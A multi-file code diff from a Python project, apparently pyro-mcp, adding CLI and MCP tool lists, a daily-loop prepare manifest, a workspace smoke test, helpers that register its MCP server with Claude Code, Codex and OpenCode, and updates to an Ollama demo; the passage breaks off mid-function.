PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "host", "mcp", "prepare", "run", "workspace")
PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",)
PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune")
PUBLIC_CLI_DOCTOR_FLAGS = ("--platform", "--environment", "--json")
PUBLIC_CLI_HOST_SUBCOMMANDS = ("connect", "doctor", "print-config", "repair")
PUBLIC_CLI_HOST_COMMON_FLAGS = (
"--installed-package",
"--mode",
"--profile",
"--project-path",
"--repo-url",
"--repo-ref",
"--no-project-source",
)
PUBLIC_CLI_HOST_CONNECT_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS
PUBLIC_CLI_HOST_DOCTOR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",)
PUBLIC_CLI_HOST_PRINT_CONFIG_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--output",)
PUBLIC_CLI_HOST_REPAIR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",)
PUBLIC_CLI_MCP_SUBCOMMANDS = ("serve",)
PUBLIC_CLI_MCP_SERVE_FLAGS = (
"--mode",
"--profile",
"--project-path",
"--repo-url",
"--repo-ref",
"--no-project-source",
)
PUBLIC_CLI_PREPARE_FLAGS = ("--network", "--force", "--json")
PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = (
"create",
"delete",
"disk",
"diff",
"exec",
"export",
"file",
"list",
"logs",
"patch",
"reset",
"service",
"shell",
"snapshot",
"start",
"status",
"stop",
"summary",
"sync",
"update",
)
PUBLIC_CLI_WORKSPACE_DISK_SUBCOMMANDS = ("export", "list", "read")
PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS = ("list", "read", "write")
PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS = ("apply",)
PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS = ("list", "logs", "start", "status", "stop")
PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write")
PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS = ("create", "delete", "list")
PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS = ("push",)
PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = (
"--vcpu-count",
"--mem-mib",
"--ttl-seconds",
"--network-policy",
"--allow-host-compat",
"--seed-path",
"--name",
"--label",
"--secret",
"--secret-file",
"--json",
"--id-only",
)
PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS = ("--output", "--json")
PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS = ("--recursive", "--json")
PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS = ("--max-bytes", "--content-only", "--json")
PUBLIC_CLI_WORKSPACE_EXEC_FLAGS = ("--timeout-seconds", "--secret-env", "--json")
PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json")
PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS = ("--recursive", "--json")
PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--content-only", "--json")
PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--text-file", "--json")
PUBLIC_CLI_WORKSPACE_LIST_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--patch-file", "--json")
PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json")
PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS = ("--tail-lines", "--all", "--json")
PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS = (
"--cwd",
"--ready-file",
"--ready-tcp",
"--ready-http",
"--ready-command",
"--ready-timeout-seconds",
"--ready-interval-ms",
"--secret-env",
"--publish",
"--json",
)
PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = (
"--cwd",
"--cols",
"--rows",
"--secret-env",
"--json",
"--id-only",
)
PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = (
"--cursor",
"--max-chars",
"--plain",
"--wait-for-idle-ms",
"--json",
)
PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json")
PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS = ("--signal", "--json")
PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_START_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_STATUS_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_STOP_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_SUMMARY_FLAGS = ("--json",)
PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json")
PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS = (
"--name",
"--clear-name",
"--label",
"--clear-label",
"--json",
)
PUBLIC_CLI_RUN_FLAGS = (
"--vcpu-count",
"--mem-mib",
"--timeout-seconds",
"--ttl-seconds",
"--network",
"--allow-host-compat",
"--json",
)
PUBLIC_MCP_PROFILES = ("vm-run", "workspace-core", "workspace-full")
PUBLIC_MCP_MODES = ("repro-fix", "inspect", "cold-start", "review-eval")
PUBLIC_SDK_METHODS = (
"apply_workspace_patch",
"close_shell",
"create_server",
"create_snapshot",
"create_vm",
"create_workspace",
"delete_snapshot",
"delete_vm",
"delete_workspace",
"diff_workspace",
"exec_vm",
"exec_workspace",
"export_workspace",
"export_workspace_disk",
"inspect_environment",
"list_environments",
"list_services",
"list_snapshots",
"list_workspace_disk",
"list_workspace_files",
"list_workspaces",
"logs_service",
"logs_workspace",
"network_info_vm",
"open_shell",
"prune_environments",
"pull_environment",
"push_workspace_sync",
"read_shell",
"read_workspace_disk",
"read_workspace_file",
"reap_expired",
"reset_workspace",
"run_in_vm",
"signal_shell",
"start_service",
"start_vm",
"start_workspace",
"status_service",
"status_vm",
"status_workspace",
"stop_service",
"stop_vm",
"stop_workspace",
"summarize_workspace",
"update_workspace",
"write_shell",
"write_workspace_file",
)
PUBLIC_MCP_TOOLS = (
"service_list",
"service_logs",
"service_start",
"service_status",
"service_stop",
"shell_close",
"shell_open",
"shell_read",
"shell_signal",
"shell_write",
"snapshot_create",
"snapshot_delete",
"snapshot_list",
"vm_create",
"vm_delete",
"vm_exec",
@ -41,4 +221,119 @@ PUBLIC_MCP_TOOLS = (
"vm_start",
"vm_status",
"vm_stop",
"workspace_create",
"workspace_delete",
"workspace_diff",
"workspace_disk_export",
"workspace_disk_list",
"workspace_disk_read",
"workspace_exec",
"workspace_export",
"workspace_file_list",
"workspace_file_read",
"workspace_file_write",
"workspace_list",
"workspace_logs",
"workspace_patch_apply",
"workspace_reset",
"workspace_summary",
"workspace_start",
"workspace_status",
"workspace_stop",
"workspace_sync_push",
"workspace_update",
)
PUBLIC_MCP_VM_RUN_PROFILE_TOOLS = ("vm_run",)
PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS = (
"vm_run",
"workspace_create",
"workspace_delete",
"workspace_diff",
"workspace_exec",
"workspace_export",
"workspace_file_list",
"workspace_file_read",
"workspace_file_write",
"workspace_list",
"workspace_logs",
"workspace_patch_apply",
"workspace_reset",
"workspace_summary",
"workspace_status",
"workspace_sync_push",
"workspace_update",
)
PUBLIC_MCP_REPRO_FIX_MODE_TOOLS = (
"workspace_create",
"workspace_delete",
"workspace_diff",
"workspace_exec",
"workspace_export",
"workspace_file_list",
"workspace_file_read",
"workspace_file_write",
"workspace_list",
"workspace_logs",
"workspace_patch_apply",
"workspace_reset",
"workspace_summary",
"workspace_status",
"workspace_sync_push",
"workspace_update",
)
PUBLIC_MCP_INSPECT_MODE_TOOLS = (
"workspace_create",
"workspace_delete",
"workspace_exec",
"workspace_export",
"workspace_file_list",
"workspace_file_read",
"workspace_list",
"workspace_logs",
"workspace_summary",
"workspace_status",
"workspace_update",
)
PUBLIC_MCP_COLD_START_MODE_TOOLS = (
"service_list",
"service_logs",
"service_start",
"service_status",
"service_stop",
"workspace_create",
"workspace_delete",
"workspace_exec",
"workspace_export",
"workspace_file_list",
"workspace_file_read",
"workspace_list",
"workspace_logs",
"workspace_reset",
"workspace_summary",
"workspace_status",
"workspace_update",
)
PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS = (
"shell_close",
"shell_open",
"shell_read",
"shell_signal",
"shell_write",
"snapshot_create",
"snapshot_delete",
"snapshot_list",
"workspace_create",
"workspace_delete",
"workspace_diff",
"workspace_exec",
"workspace_export",
"workspace_file_list",
"workspace_file_read",
"workspace_list",
"workspace_logs",
"workspace_reset",
"workspace_summary",
"workspace_status",
"workspace_update",
)
PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS = PUBLIC_MCP_TOOLS

152
src/pyro_mcp/daily_loop.py Normal file
View file

@ -0,0 +1,152 @@
"""Machine-level daily-loop warmup state for the CLI prepare flow."""
from __future__ import annotations
import json
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Literal
DEFAULT_PREPARE_ENVIRONMENT = "debian:12"
PREPARE_MANIFEST_LAYOUT_VERSION = 1
DailyLoopStatus = Literal["cold", "warm", "stale"]
def _environment_key(environment: str) -> str:
return environment.replace("/", "_").replace(":", "_")
@dataclass(frozen=True)
class DailyLoopManifest:
"""Persisted machine-readiness proof for one environment on one platform."""
environment: str
environment_version: str
platform: str
catalog_version: str
bundle_version: str | None
prepared_at: float
network_prepared: bool
last_prepare_duration_ms: int
def to_payload(self) -> dict[str, Any]:
return {
"layout_version": PREPARE_MANIFEST_LAYOUT_VERSION,
"environment": self.environment,
"environment_version": self.environment_version,
"platform": self.platform,
"catalog_version": self.catalog_version,
"bundle_version": self.bundle_version,
"prepared_at": self.prepared_at,
"network_prepared": self.network_prepared,
"last_prepare_duration_ms": self.last_prepare_duration_ms,
}
@classmethod
def from_payload(cls, payload: dict[str, Any]) -> "DailyLoopManifest":
return cls(
environment=str(payload["environment"]),
environment_version=str(payload["environment_version"]),
platform=str(payload["platform"]),
catalog_version=str(payload["catalog_version"]),
bundle_version=(
None if payload.get("bundle_version") is None else str(payload["bundle_version"])
),
prepared_at=float(payload["prepared_at"]),
network_prepared=bool(payload.get("network_prepared", False)),
last_prepare_duration_ms=int(payload.get("last_prepare_duration_ms", 0)),
)
def prepare_manifest_path(cache_dir: Path, *, platform: str, environment: str) -> Path:
return cache_dir / ".prepare" / platform / f"{_environment_key(environment)}.json"
def load_prepare_manifest(path: Path) -> tuple[DailyLoopManifest | None, str | None]:
if not path.exists():
return None, None
try:
payload = json.loads(path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError) as exc:
return None, f"prepare manifest is unreadable: {exc}"
if not isinstance(payload, dict):
return None, "prepare manifest is not a JSON object"
try:
manifest = DailyLoopManifest.from_payload(payload)
except (KeyError, TypeError, ValueError) as exc:
return None, f"prepare manifest is invalid: {exc}"
return manifest, None
def write_prepare_manifest(path: Path, manifest: DailyLoopManifest) -> None:
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(
json.dumps(manifest.to_payload(), indent=2, sort_keys=True),
encoding="utf-8",
)
def evaluate_daily_loop_status(
*,
environment: str,
environment_version: str,
platform: str,
catalog_version: str,
bundle_version: str | None,
installed: bool,
manifest: DailyLoopManifest | None,
manifest_error: str | None = None,
) -> tuple[DailyLoopStatus, str | None]:
if manifest_error is not None:
return "stale", manifest_error
if manifest is None:
if not installed:
return "cold", "environment is not installed"
return "cold", "daily loop has not been prepared yet"
if not installed:
return "stale", "environment install is missing"
if manifest.environment != environment:
return "stale", "prepare manifest environment does not match the selected environment"
if manifest.environment_version != environment_version:
return "stale", "environment version changed since the last prepare run"
if manifest.platform != platform:
return "stale", "platform changed since the last prepare run"
if manifest.catalog_version != catalog_version:
return "stale", "catalog version changed since the last prepare run"
if manifest.bundle_version != bundle_version:
return "stale", "runtime bundle version changed since the last prepare run"
return "warm", None
def prepare_request_is_satisfied(
manifest: DailyLoopManifest | None,
*,
require_network: bool,
) -> bool:
if manifest is None:
return False
if require_network and not manifest.network_prepared:
return False
return True
def serialize_daily_loop_report(
*,
environment: str,
status: DailyLoopStatus,
installed: bool,
cache_dir: Path,
manifest_path: Path,
reason: str | None,
manifest: DailyLoopManifest | None,
) -> dict[str, Any]:
return {
"environment": environment,
"status": status,
"installed": installed,
"network_prepared": bool(manifest.network_prepared) if manifest is not None else False,
"prepared_at": None if manifest is None else manifest.prepared_at,
"manifest_path": str(manifest_path),
"reason": reason,
"cache_dir": str(cache_dir),
}

View file

@ -0,0 +1,131 @@
"""Real guest-backed smoke for the daily local prepare and reset loop."""
from __future__ import annotations
import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
from pyro_mcp.api import Pyro
from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT
def _log(message: str) -> None:
print(f"[daily-loop] {message}", flush=True)
def _write_text(path: Path, text: str) -> None:
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(text, encoding="utf-8")
def _run_prepare(environment: str) -> dict[str, object]:
proc = subprocess.run( # noqa: S603
[sys.executable, "-m", "pyro_mcp.cli", "prepare", environment, "--json"],
text=True,
capture_output=True,
check=False,
)
if proc.returncode != 0:
raise RuntimeError(proc.stderr.strip() or proc.stdout.strip() or "pyro prepare failed")
payload = json.loads(proc.stdout)
if not isinstance(payload, dict):
raise RuntimeError("pyro prepare did not return a JSON object")
return payload
def run_daily_loop_smoke(*, environment: str = DEFAULT_PREPARE_ENVIRONMENT) -> None:
_log(f"prepare environment={environment}")
first_prepare = _run_prepare(environment)
assert bool(first_prepare["prepared"]) is True, first_prepare
second_prepare = _run_prepare(environment)
assert bool(second_prepare["reused"]) is True, second_prepare
pyro = Pyro()
with tempfile.TemporaryDirectory(prefix="pyro-daily-loop-") as temp_dir:
root = Path(temp_dir)
seed_dir = root / "seed"
export_dir = root / "export"
_write_text(seed_dir / "message.txt", "broken\n")
_write_text(
seed_dir / "check.sh",
"#!/bin/sh\n"
"set -eu\n"
"value=$(cat message.txt)\n"
'[ "$value" = "fixed" ] || {\n'
" printf 'expected fixed got %s\\n' \"$value\" >&2\n"
" exit 1\n"
"}\n"
"printf '%s\\n' \"$value\"\n",
)
workspace_id: str | None = None
try:
created = pyro.create_workspace(
environment=environment,
seed_path=seed_dir,
name="daily-loop",
labels={"suite": "daily-loop-smoke"},
)
workspace_id = str(created["workspace_id"])
_log(f"workspace_id={workspace_id}")
failing = pyro.exec_workspace(workspace_id, command="sh check.sh")
assert int(failing["exit_code"]) != 0, failing
patched = pyro.apply_workspace_patch(
workspace_id,
patch=("--- a/message.txt\n+++ b/message.txt\n@@ -1 +1 @@\n-broken\n+fixed\n"),
)
assert bool(patched["changed"]) is True, patched
passing = pyro.exec_workspace(workspace_id, command="sh check.sh")
assert int(passing["exit_code"]) == 0, passing
assert str(passing["stdout"]) == "fixed\n", passing
export_path = export_dir / "message.txt"
exported = pyro.export_workspace(
workspace_id,
"message.txt",
output_path=export_path,
)
assert export_path.read_text(encoding="utf-8") == "fixed\n"
assert str(exported["artifact_type"]) == "file", exported
reset = pyro.reset_workspace(workspace_id)
assert int(reset["reset_count"]) == 1, reset
rerun = pyro.exec_workspace(workspace_id, command="sh check.sh")
assert int(rerun["exit_code"]) != 0, rerun
reset_read = pyro.read_workspace_file(workspace_id, "message.txt")
assert str(reset_read["content"]) == "broken\n", reset_read
finally:
if workspace_id is not None:
try:
pyro.delete_workspace(workspace_id)
except Exception:
pass
def build_arg_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
description="Run the real guest-backed daily-loop prepare and reset smoke.",
)
parser.add_argument(
"--environment",
default=DEFAULT_PREPARE_ENVIRONMENT,
help=f"Environment to warm and test. Defaults to `{DEFAULT_PREPARE_ENVIRONMENT}`.",
)
return parser
def main() -> None:
args = build_arg_parser().parse_args()
run_daily_loop_smoke(environment=args.environment)
if __name__ == "__main__":
main()

View file

@ -6,6 +6,7 @@ import json
from typing import Any
from pyro_mcp.api import Pyro
from pyro_mcp.vm_manager import DEFAULT_MEM_MIB, DEFAULT_TTL_SECONDS, DEFAULT_VCPU_COUNT
INTERNET_PROBE_COMMAND = (
'python3 -c "import urllib.request; '
@ -30,10 +31,10 @@ def run_demo(*, network: bool = False) -> dict[str, Any]:
return pyro.run_in_vm(
environment="debian:12",
command=_demo_command(status),
vcpu_count=1,
mem_mib=512,
vcpu_count=DEFAULT_VCPU_COUNT,
mem_mib=DEFAULT_MEM_MIB,
timeout_seconds=30,
ttl_seconds=600,
ttl_seconds=DEFAULT_TTL_SECONDS,
network=network,
)

View file

@ -5,16 +5,18 @@ from __future__ import annotations
import argparse
import json
from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT
from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report
def _build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(description="Inspect bundled runtime health for pyro-mcp.")
parser.add_argument("--platform", default=DEFAULT_PLATFORM)
parser.add_argument("--environment", default=DEFAULT_PREPARE_ENVIRONMENT)
return parser
def main() -> None:
args = _build_parser().parse_args()
report = doctor_report(platform=args.platform)
report = doctor_report(platform=args.platform, environment=args.environment)
print(json.dumps(report, indent=2, sort_keys=True))

View file

@ -0,0 +1,370 @@
"""Helpers for bootstrapping and repairing supported MCP chat hosts."""
from __future__ import annotations
import json
import shlex
import shutil
import subprocess
from dataclasses import dataclass
from datetime import UTC, datetime
from pathlib import Path
from typing import Literal
from pyro_mcp.api import McpToolProfile, WorkspaceUseCaseMode
SUPPORTED_HOST_CONNECT_TARGETS = ("claude-code", "codex")
SUPPORTED_HOST_REPAIR_TARGETS = ("claude-code", "codex", "opencode")
SUPPORTED_HOST_PRINT_CONFIG_TARGETS = ("opencode",)
DEFAULT_HOST_SERVER_NAME = "pyro"
DEFAULT_OPENCODE_CONFIG_PATH = Path.home() / ".config" / "opencode" / "opencode.json"
HostStatus = Literal["drifted", "missing", "ok", "unavailable"]
@dataclass(frozen=True)
class HostServerConfig:
installed_package: bool = False
profile: McpToolProfile = "workspace-core"
mode: WorkspaceUseCaseMode | None = None
project_path: str | None = None
repo_url: str | None = None
repo_ref: str | None = None
no_project_source: bool = False
@dataclass(frozen=True)
class HostDoctorEntry:
host: str
installed: bool
configured: bool
status: HostStatus
details: str
repair_command: str
def _run_command(command: list[str]) -> subprocess.CompletedProcess[str]:
return subprocess.run( # noqa: S603
command,
check=False,
capture_output=True,
text=True,
)
def _host_binary(host: str) -> str:
if host == "claude-code":
return "claude"
if host == "codex":
return "codex"
raise ValueError(f"unsupported CLI host {host!r}")
def _canonical_server_command(config: HostServerConfig) -> list[str]:
if config.mode is not None and config.profile != "workspace-core":
raise ValueError("--mode and --profile are mutually exclusive")
if config.project_path is not None and config.repo_url is not None:
raise ValueError("--project-path and --repo-url are mutually exclusive")
if config.no_project_source and (
config.project_path is not None
or config.repo_url is not None
or config.repo_ref is not None
):
raise ValueError(
"--no-project-source cannot be combined with --project-path, --repo-url, or --repo-ref"
)
if config.repo_ref is not None and config.repo_url is None:
raise ValueError("--repo-ref requires --repo-url")
command = ["pyro", "mcp", "serve"]
if not config.installed_package:
command = ["uvx", "--from", "pyro-mcp", *command]
if config.mode is not None:
command.extend(["--mode", config.mode])
elif config.profile != "workspace-core":
command.extend(["--profile", config.profile])
if config.project_path is not None:
command.extend(["--project-path", config.project_path])
elif config.repo_url is not None:
command.extend(["--repo-url", config.repo_url])
if config.repo_ref is not None:
command.extend(["--repo-ref", config.repo_ref])
elif config.no_project_source:
command.append("--no-project-source")
return command
def _render_cli_command(command: list[str]) -> str:
return shlex.join(command)
def _repair_command(host: str, config: HostServerConfig, *, config_path: Path | None = None) -> str:
command = ["pyro", "host", "repair", host]
if config.installed_package:
command.append("--installed-package")
if config.mode is not None:
command.extend(["--mode", config.mode])
elif config.profile != "workspace-core":
command.extend(["--profile", config.profile])
if config.project_path is not None:
command.extend(["--project-path", config.project_path])
elif config.repo_url is not None:
command.extend(["--repo-url", config.repo_url])
if config.repo_ref is not None:
command.extend(["--repo-ref", config.repo_ref])
elif config.no_project_source:
command.append("--no-project-source")
if config_path is not None:
command.extend(["--config-path", str(config_path)])
return _render_cli_command(command)
def _command_matches(output: str, expected: list[str]) -> bool:
normalized_output = output.strip()
if ":" in normalized_output:
normalized_output = normalized_output.split(":", 1)[1].strip()
try:
parsed = shlex.split(normalized_output)
except ValueError:
parsed = normalized_output.split()
return parsed == expected
def _upsert_opencode_config(
*,
config_path: Path,
config: HostServerConfig,
) -> tuple[dict[str, object], Path | None]:
existing_payload: dict[str, object] = {}
backup_path: Path | None = None
if config_path.exists():
raw_text = config_path.read_text(encoding="utf-8")
try:
parsed = json.loads(raw_text)
except json.JSONDecodeError:
timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S")
backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}")
shutil.move(str(config_path), str(backup_path))
parsed = {}
if isinstance(parsed, dict):
existing_payload = parsed
else:
timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S")
backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}")
shutil.move(str(config_path), str(backup_path))
payload = dict(existing_payload)
mcp_payload = payload.get("mcp")
if not isinstance(mcp_payload, dict):
mcp_payload = {}
else:
mcp_payload = dict(mcp_payload)
mcp_payload[DEFAULT_HOST_SERVER_NAME] = canonical_opencode_entry(config)
payload["mcp"] = mcp_payload
return payload, backup_path
def canonical_opencode_entry(config: HostServerConfig) -> dict[str, object]:
return {
"type": "local",
"enabled": True,
"command": _canonical_server_command(config),
}
def render_opencode_config(config: HostServerConfig) -> str:
return (
json.dumps(
{"mcp": {DEFAULT_HOST_SERVER_NAME: canonical_opencode_entry(config)}},
indent=2,
)
+ "\n"
)
def print_or_write_opencode_config(
*,
config: HostServerConfig,
output_path: Path | None = None,
) -> dict[str, object]:
rendered = render_opencode_config(config)
if output_path is None:
return {
"host": "opencode",
"rendered_config": rendered,
"server_command": _canonical_server_command(config),
}
output_path.parent.mkdir(parents=True, exist_ok=True)
output_path.write_text(rendered, encoding="utf-8")
return {
"host": "opencode",
"output_path": str(output_path),
"server_command": _canonical_server_command(config),
}
def connect_cli_host(host: str, *, config: HostServerConfig) -> dict[str, object]:
binary = _host_binary(host)
if shutil.which(binary) is None:
raise RuntimeError(f"{binary} CLI is not installed or not on PATH")
server_command = _canonical_server_command(config)
_run_command([binary, "mcp", "remove", DEFAULT_HOST_SERVER_NAME])
result = _run_command([binary, "mcp", "add", DEFAULT_HOST_SERVER_NAME, "--", *server_command])
if result.returncode != 0:
details = (result.stderr or result.stdout).strip() or f"{binary} mcp add failed"
raise RuntimeError(details)
return {
"host": host,
"server_command": server_command,
"verification_command": [binary, "mcp", "list"],
}
def repair_opencode_host(
*,
config: HostServerConfig,
config_path: Path | None = None,
) -> dict[str, object]:
resolved_path = (
DEFAULT_OPENCODE_CONFIG_PATH
if config_path is None
else config_path.expanduser().resolve()
)
resolved_path.parent.mkdir(parents=True, exist_ok=True)
payload, backup_path = _upsert_opencode_config(config_path=resolved_path, config=config)
resolved_path.write_text(json.dumps(payload, indent=2) + "\n", encoding="utf-8")
result: dict[str, object] = {
"host": "opencode",
"config_path": str(resolved_path),
"server_command": _canonical_server_command(config),
}
if backup_path is not None:
result["backup_path"] = str(backup_path)
return result
def repair_host(
host: str,
*,
config: HostServerConfig,
config_path: Path | None = None,
) -> dict[str, object]:
if host == "opencode":
return repair_opencode_host(config=config, config_path=config_path)
return connect_cli_host(host, config=config)
def _doctor_cli_host(host: str, *, config: HostServerConfig) -> HostDoctorEntry:
binary = _host_binary(host)
repair_command = _repair_command(host, config)
if shutil.which(binary) is None:
return HostDoctorEntry(
host=host,
installed=False,
configured=False,
status="unavailable",
details=f"{binary} CLI was not found on PATH",
repair_command=repair_command,
)
expected_command = _canonical_server_command(config)
get_result = _run_command([binary, "mcp", "get", DEFAULT_HOST_SERVER_NAME])
combined_get_output = (get_result.stdout + get_result.stderr).strip()
if get_result.returncode == 0:
status: HostStatus = (
"ok" if _command_matches(combined_get_output, expected_command) else "drifted"
)
return HostDoctorEntry(
host=host,
installed=True,
configured=True,
status=status,
details=combined_get_output or f"{binary} MCP entry exists",
repair_command=repair_command,
)
list_result = _run_command([binary, "mcp", "list"])
combined_list_output = (list_result.stdout + list_result.stderr).strip()
configured = DEFAULT_HOST_SERVER_NAME in combined_list_output.split()
return HostDoctorEntry(
host=host,
installed=True,
configured=configured,
status="drifted" if configured else "missing",
details=combined_get_output or combined_list_output or f"{binary} MCP entry missing",
repair_command=repair_command,
)
def _doctor_opencode_host(
*,
config: HostServerConfig,
config_path: Path | None = None,
) -> HostDoctorEntry:
resolved_path = (
DEFAULT_OPENCODE_CONFIG_PATH
if config_path is None
else config_path.expanduser().resolve()
)
repair_command = _repair_command("opencode", config, config_path=config_path)
installed = shutil.which("opencode") is not None
if not resolved_path.exists():
return HostDoctorEntry(
host="opencode",
installed=installed,
configured=False,
status="missing" if installed else "unavailable",
details=f"OpenCode config missing at {resolved_path}",
repair_command=repair_command,
)
try:
payload = json.loads(resolved_path.read_text(encoding="utf-8"))
except json.JSONDecodeError as exc:
return HostDoctorEntry(
host="opencode",
installed=installed,
configured=False,
status="drifted" if installed else "unavailable",
details=f"OpenCode config is invalid JSON: {exc}",
repair_command=repair_command,
)
if not isinstance(payload, dict):
return HostDoctorEntry(
host="opencode",
installed=installed,
configured=False,
status="drifted" if installed else "unavailable",
details="OpenCode config must be a JSON object",
repair_command=repair_command,
)
mcp_payload = payload.get("mcp")
if not isinstance(mcp_payload, dict) or DEFAULT_HOST_SERVER_NAME not in mcp_payload:
return HostDoctorEntry(
host="opencode",
installed=installed,
configured=False,
status="missing" if installed else "unavailable",
details=f"OpenCode config at {resolved_path} is missing mcp.pyro",
repair_command=repair_command,
)
configured_entry = mcp_payload[DEFAULT_HOST_SERVER_NAME]
expected_entry = canonical_opencode_entry(config)
status: HostStatus = "ok" if configured_entry == expected_entry else "drifted"
return HostDoctorEntry(
host="opencode",
installed=installed,
configured=True,
status=status,
details=f"OpenCode config path: {resolved_path}",
repair_command=repair_command,
)
def doctor_hosts(
*,
config: HostServerConfig,
config_path: Path | None = None,
) -> list[HostDoctorEntry]:
return [
_doctor_cli_host("claude-code", config=config),
_doctor_cli_host("codex", config=config),
_doctor_opencode_host(config=config, config_path=config_path),
]

View file

@ -10,17 +10,23 @@ from collections.abc import Callable
from typing import Any, Final, cast
from pyro_mcp.api import Pyro
from pyro_mcp.vm_manager import (
DEFAULT_ALLOW_HOST_COMPAT,
DEFAULT_MEM_MIB,
DEFAULT_TIMEOUT_SECONDS,
DEFAULT_TTL_SECONDS,
DEFAULT_VCPU_COUNT,
)
__all__ = ["Pyro", "run_ollama_tool_demo"]
DEFAULT_OLLAMA_BASE_URL: Final[str] = "http://localhost:11434/v1"
DEFAULT_OLLAMA_MODEL: Final[str] = "llama3.2:3b"
MAX_TOOL_ROUNDS: Final[int] = 12
CLONE_TARGET_DIR: Final[str] = "hello-world"
NETWORK_PROOF_COMMAND: Final[str] = (
"rm -rf hello-world "
"&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null "
"&& git -C hello-world rev-parse --is-inside-work-tree"
'python3 -c "import urllib.request as u; '
"print(u.urlopen('https://example.com').status)"
'"'
)
TOOL_SPECS: Final[list[dict[str, Any]]] = [
@ -39,8 +45,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [
"timeout_seconds": {"type": "integer"},
"ttl_seconds": {"type": "integer"},
"network": {"type": "boolean"},
"allow_host_compat": {"type": "boolean"},
},
"required": ["environment", "command", "vcpu_count", "mem_mib"],
"required": ["environment", "command"],
"additionalProperties": False,
},
},
@ -61,7 +68,7 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [
"type": "function",
"function": {
"name": "vm_create",
"description": "Create an ephemeral VM with explicit vCPU and memory sizing.",
"description": "Create an ephemeral VM with optional resource sizing.",
"parameters": {
"type": "object",
"properties": {
@ -70,8 +77,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [
"mem_mib": {"type": "integer"},
"ttl_seconds": {"type": "integer"},
"network": {"type": "boolean"},
"allow_host_compat": {"type": "boolean"},
},
"required": ["environment", "vcpu_count", "mem_mib"],
"required": ["environment"],
"additionalProperties": False,
},
},
@ -192,6 +200,12 @@ def _require_int(arguments: dict[str, Any], key: str) -> int:
raise ValueError(f"{key} must be an integer")
def _optional_int(arguments: dict[str, Any], key: str, *, default: int) -> int:
if key not in arguments:
return default
return _require_int(arguments, key)
def _require_bool(arguments: dict[str, Any], key: str, *, default: bool = False) -> bool:
value = arguments.get(key, default)
if isinstance(value, bool):
@ -211,27 +225,37 @@ def _dispatch_tool_call(
pyro: Pyro, tool_name: str, arguments: dict[str, Any]
) -> dict[str, Any]:
if tool_name == "vm_run":
ttl_seconds = arguments.get("ttl_seconds", 600)
timeout_seconds = arguments.get("timeout_seconds", 30)
